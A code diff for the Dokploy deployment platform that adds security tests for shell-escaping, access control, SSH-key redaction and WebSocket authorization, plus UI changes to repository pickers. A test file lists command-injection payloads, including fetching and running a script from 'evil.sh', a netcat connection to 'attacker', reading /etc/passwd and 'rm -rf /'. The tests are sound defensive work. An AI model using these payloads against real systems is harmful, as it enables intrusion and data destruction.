it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});

View File

@@ -0,0 +1,87 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -0,0 +1,91 @@
import { TRPCError } from "@trpc/server";
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
// assertGitProviderAccess) runs against controlled data. Mocking the exported
// function would NOT intercept the intra-module call, so we mock one layer down.
const mockDb = vi.hoisted(() => ({
query: {
gitProvider: {
findMany: vi.fn(),
},
member: {
findFirst: vi.fn(),
},
},
}));
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
const mockHasValidLicense = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: mockHasValidLicense,
}));
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
const ORG = "org-1";
const USER = "user-member";
const session = { userId: USER, activeOrganizationId: ORG };
// Provider owned by USER within ORG -> should be accessible.
const providerMine = {
gitProviderId: "gp-mine",
userId: USER,
sharedWithOrganization: false,
};
// Provider owned by someone else within ORG, not shared, not assigned.
const providerOther = {
gitProviderId: "gp-other",
userId: "user-2",
sharedWithOrganization: false,
};
beforeEach(() => {
vi.clearAllMocks();
mockHasValidLicense.mockResolvedValue(false);
mockDb.query.gitProvider.findMany.mockResolvedValue([
providerMine,
providerOther,
]);
mockDb.query.member.findFirst.mockResolvedValue({
role: "member",
accessedGitProviders: [],
});
});
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-other",
organizationId: ORG,
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("allows a same-org provider the caller owns", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: ORG,
}),
).resolves.toBeUndefined();
});
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
const err = await assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}).catch((e) => e);
expect(err).toBeInstanceOf(TRPCError);
});
});

View File

@@ -0,0 +1,44 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});

View File

@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});

View File

@@ -0,0 +1,104 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the permission + server helpers the wss authorizer composes.
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockFindMember = vi.hoisted(() => vi.fn());
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
findMemberByUserId: mockFindMember,
checkServiceAccess: mockCheckServiceAccess,
}));
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
getAccessibleServerIds: mockGetAccessibleServerIds,
}));
import {
canAccessDockerOverWss,
canAccessTerminalOverWss,
} from "@/server/wss/authorize";
const USER = { id: "user-1" };
const SESSION = { activeOrganizationId: "org-1" };
beforeEach(() => {
vi.clearAllMocks();
});
describe("canAccessDockerOverWss", () => {
it("denies when there is no user or session", async () => {
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
});
it("denies a member without docker permission", async () => {
mockHasPermission.mockResolvedValue(false);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
});
it("allows when the caller has docker permission (no server)", async () => {
mockHasPermission.mockResolvedValue(true);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
});
it("denies a remote server the caller cannot access, even with docker permission", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
});
it("allows a remote server the caller can access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("denies when the container belongs to a service the caller cannot access", async () => {
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
false,
);
});
it("allows service access even without docker permission or server access", async () => {
// A member granted the service but without canAccessToDocker, whose
// service runs on a server they were not individually granted, must still
// read its logs — matches application.readLogs (service access only).
mockHasPermission.mockResolvedValue(false);
mockGetAccessibleServerIds.mockResolvedValue(new Set());
mockCheckServiceAccess.mockResolvedValue(undefined);
expect(
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
).toBe(true);
// Service path is authoritative — it must not fall through to docker/server.
expect(mockHasPermission).not.toHaveBeenCalled();
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
});
});
describe("canAccessTerminalOverWss", () => {
it("denies the local host terminal to a plain member", async () => {
mockFindMember.mockResolvedValue({ role: "member" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
});
it("allows the local host terminal to an owner", async () => {
mockFindMember.mockResolvedValue({ role: "owner" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("allows the local host terminal to an admin", async () => {
mockFindMember.mockResolvedValue({ role: "admin" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("gates a remote server terminal on server access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
expect(mockFindMember).not.toHaveBeenCalled();
});
});

View File

@@ -256,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -283,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -294,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -303,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -350,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -378,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -270,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
? "Loading...."
: (repositories?.find(
(repo: GiteaRepository) =>
repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -303,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
{repositories?.map((repo: GiteaRepository) => {
return (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -313,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -322,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username ===
field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -371,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -402,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -252,14 +252,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -279,7 +284,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.login}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -289,8 +294,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -298,7 +303,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -345,7 +351,10 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -373,7 +382,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -272,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -310,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -368,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -396,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -271,6 +271,7 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
<DockerTerminalModal
appName={data?.appName || ""}
serverId={data?.serverId || ""}
serviceId={applicationId}
>
<Button
variant="outline"

View File

@@ -50,9 +50,10 @@ export const badgeStateColor = (state: string) => {
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogs = ({ appName, serverId }: Props) => {
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
const [containerId, setContainerId] = useState<string | undefined>();
const [option, setOption] = useState<"swarm" | "native">("native");
@@ -182,6 +183,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -55,12 +55,14 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowComposeContainers = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending, refetch } =
api.docker.getContainersByAppNameMatch.useQuery(
@@ -122,6 +124,7 @@ export const ShowComposeContainers = ({
key={container.containerId}
container={container}
serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()}
/>
))}
@@ -142,12 +145,14 @@ interface ContainerRowProps {
status: string;
};
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
}
const ContainerRow = ({
container,
serverId,
serviceId,
onActionComplete,
}: ContainerRowProps) => {
const [logsOpen, setLogsOpen] = useState(false);
@@ -236,6 +241,7 @@ const ContainerRow = ({
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
@@ -280,6 +286,7 @@ const ContainerRow = ({
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>

View File

@@ -206,6 +206,7 @@ export const ComposeActions = ({ composeId }: Props) => {
appName={data?.appName || ""}
serverId={data?.serverId || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
>
<Button
variant="outline"

View File

@@ -258,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -285,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -296,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -305,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -352,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -380,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -255,13 +255,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -282,7 +287,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{repositories?.map((repo) => (
<CommandItem
key={repo.url}
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
onSelect={() => {
form.setValue("repository", {
owner: repo.owner.username,
@@ -291,8 +296,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -300,7 +305,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -348,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branches..."
@@ -365,8 +374,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name)
}
>
<span className="flex items-center gap-2">
{branch.name}
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{branch.name}
</span>
</span>
<CheckIcon
className={cn(

View File

@@ -245,14 +245,19 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -272,7 +277,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.login}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -282,8 +287,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -291,7 +296,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -338,7 +344,10 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -366,7 +375,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -274,7 +274,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -312,8 +315,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -370,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -398,7 +406,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -35,9 +35,14 @@ export const DockerLogs = dynamic(
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
export const ShowDockerLogsStack = ({
appName,
serverId,
serviceId,
}: Props) => {
const [option, setOption] = useState<"swarm" | "native">("native");
const [containerId, setContainerId] = useState<string | undefined>();
@@ -167,6 +172,7 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -35,12 +35,14 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowDockerLogsCompose = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -104,6 +106,7 @@ export const ShowDockerLogsCompose = ({
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType="native"
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -23,6 +23,7 @@ interface Props {
containerId: string;
serverId?: string | null;
runType: "swarm" | "native";
serviceId?: string;
}
export const priorities = [
@@ -52,6 +53,7 @@ export const DockerLogsId: React.FC<Props> = ({
containerId,
serverId,
runType,
serviceId,
}) => {
const { data } = api.docker.getConfig.useQuery(
{
@@ -157,6 +159,10 @@ export const DockerLogsId: React.FC<Props> = ({
params.append("serverId", serverId);
}
if (serviceId) {
params.append("serviceId", serviceId);
}
const wsUrl = `${protocol}//${
window.location.host
}/docker-container-logs?${params.toString()}`;
@@ -222,7 +228,7 @@ export const DockerLogsId: React.FC<Props> = ({
